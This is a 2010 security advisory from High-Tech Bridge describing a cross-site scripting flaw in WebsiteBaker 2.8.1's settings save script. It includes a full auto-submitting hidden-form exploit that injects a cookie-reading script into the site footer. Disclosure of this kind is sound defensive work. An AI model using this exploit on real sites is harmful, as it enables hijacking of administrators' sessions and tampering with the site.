Cross-site Scripting (XSS) Vulnerability in WebsiteBaker
This vulnerability was discovered by our security researchers before 2019.
| Advisory ID: | HTB22448 |
| Product: | WebsiteBaker |
| Vendor: | WebsiteBaker team |
| Vulnerable Versions: | 2.8.1 and probably prior |
| Tested Version: | 2.8.1 |
| Advisory Publication: | June 21, 2010 [without technical details] |
| Vendor Notification: | June 21, 2010 |
| Public Disclosure: | July 5, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| Risk Level: | Low |
|  |
| CVSSv2 Base Score: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
| Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered vulnerability in WebsiteBaker which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerability in WebsiteBaker The vulnerability exists due to input sanitation error in the "website_footer" parameter in admin/settings/save.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim has access to administrative interface. Exploitation example: <form action="http://example.com/admin/settings/save.php" method="post" name="main" > <input type="hidden" name="advanced" value="no" /> <input type="hidden" name="website_title" value="Website Baker Title" /> <input type="hidden" name="website_description" value="" /> <input type="hidden" name="website_keywords" value="" /> <input type="hidden" name="website_header" value="" /> <input type="hidden" name="website_footer" value='footer"><script>alert(document.cookie)</script>' /> <input type="hidden" name="page_level_limit" value="4" /> <input type="hidden" name="page_trash" value="disabled" /> <input type="hidden" name="page_languages" value="false" /> <input type="hidden" name="multiple_menus" value="false" /> <input type="hidden" name="home_folders" value="true" /> <input type="hidden" name="manage_sections" value="true" /> <input type="hidden" name="section_blocks" value="false" /> <input type="hidden" name="intro_page" value="false" /> <input type="hidden" name="homepage_redirection" value="false" /> <input type="hidden" name="smart_login" value="false" /> <input type="hidden" name="frontend_login" value="false" /> <input type="hidden" name="redirect_timer" value="1500" /> <input type="hidden" name="frontend_signup" value="false" /> <input type="hidden" name="er_level" value="0" /> <input type="hidden" name="wysiwyg_style" value="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;" /> <input type="hidden" name="wysiwyg_editor" value="fckeditor" /> <input id="sbmt" type="submit" value="Save" /> <input type="hidden" name="default_language" value="EN" /> <input type="hidden" name="default_charset" value="utf-8" /> <input type="hidden" name="default_timezone" value="0" /> <input type="hidden" name="default_date_format" value="M d Y" /> <input type="hidden" name="default_time_format" value="g:i A" /> <input type="hidden" name="default_template" value="round" /> <input type="hidden" name="default_theme" value="wb_theme" /> <input type="hidden" name="search" value="public" /> <input type="hidden" name="search_template" value="" /> <input type="hidden" name="search_header" value='<h1>[TEXT_SEARCH]</h1> <form name="searchpage" action="[WB_URL]/search/index.php" method="get"> <table cellpadding="3" cellspacing="0" border="0" width="500"> <tr> <td> <input type="hidden" name="search_path" value="[SEARCH_PATH]" /> <input type="text" name="string" value="[SEARCH_STRING]" style="width: 100%;" /> </td> <td width="150"> <input type="submit" value="[TEXT_SEARCH]" style="width: 100%;" /> </td> </tr> <tr> <td colspan="2"> <input type="radio" name="match" id="match_all" value="all"[ALL_CHECKED] /> <label for="match_all">[TEXT_ALL_WORDS]</label> <input type="radio" name="match" id="match_any" value="any"[ANY_CHECKED] /> <label for="match_any">[TEXT_ANY_WORDS]</label> <input type="radio" name="match" id="match_exact" value="exact"[EXACT_CHECKED] /> <label for="match_exact">[TEXT_EXACT_MATCH]</label> </td> </tr> </table> </fo rm> <hr /> ' /> <input type="hidden" name="search_results_header" value='[TEXT_RESULTS_FOR] '<b>[SEARCH_STRING]</b>': <table cellpadding="2" cellspacing="0" border="0" width="100%" style="padding-top: 10px;">' /> <input type="hidden" name="search_results_loop" value='<tr style="background-color: #F0F0F0;"> <td><a href="[LINK]">[TITLE]</a></td> <td align="right">[TEXT_LAST_UPDATED_BY] [DISPLAY_NAME] ([USERNAME]) [TEXT_ON] [DATE]</td> </tr> <tr><td colspan="2" style="text-align: justify; padding-bottom: 5px;">[DESCRIPTION]</td></tr> <tr><td colspan="2" style="text-align: justify; padding-bottom: 10px;">[EXCERPT]</td></tr>' /> <input type="hidden" name="search_results_footer" value='</table>' /> <input type="hidden" name="search_no_results" value='<tr><td><p>[TEXT_NO_RESULTS]</p></td></tr>' /> <input type="hidden" name="search_footer" value="" /> <input type="hidden" name="search_module_order" value="faqbaker,manual,wysiwyg" /> <input type="hidden" name="search_max_excerpt" value="15" /> <input type="hidden" name="search_time_limit" value="0" /> <input type="hidden" name="operating_system" value="linux" /> <input type="hidden" name="file_u_r" value="true" /> <input type="hidden" name="file_u_w" value="true" /> <input type="hidden" name="file_g_r" value="true" /> <input type="hidden" name="file_o_r" value="true" /> <input type="hidden" name="dir_u_r" value="true" /> <input type="hidden" name="dir_u_w" value="true" /> <input type="hidden" name="dir_u_e" value="true" /> <input type="hidden" name="dir_g_r" value="true" /> <input type="hidden" name="dir_g_e" value="true" /> <input type="hidden" name="dir_o_r" value="true" /> <input type="hidden" name="dir_o_e" value="true" /> <input type="hidden" name="pages_directory" value="/pages" /> <input type="hidden" name="media_directory" value="/media" /> <input type="hidden" name="page_extension" value=".php" /> <input type="hidden" name="page_spacer" value="-" /> <input type="hidden" name="rename_files_on_upload" value="php,asp,phpx,aspx" /> <input type="hidden" name="app_name" value="wb_1515" /> <input type="hidden" name="sec_anchor" value="wb_" /> <input type="hidden" name="server_email" value="[email protected]" /> <input type="hidden" name="wbmailer_default_sendername" value="WB Mailer" /> <input type="hidden" name="wbmailer_routine" value="phpmail" /> <input type="hidden" name="wbmailer_smtp_host" value="" /> <input type="hidden" name="wbmailer_smtp_username" value="" /> <input type="hidden" name="wbmailer_smtp_password" value="" /> </form> <script> document.getElementById('sbmt').click(); </script> |
Solution: |
| Upgrade to the most recent version |
| |
|
References: |
[1] High-Tech Bridge Advisory HTB22448 - https://www.immuniweb.com/advisory/HTB22448 - Cross-site Scripting (XSS) Vulnerability in WebsiteBaker [2] WebsiteBaker - www.websitebaker2.org - WebsiteBaker is an open source content management system. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.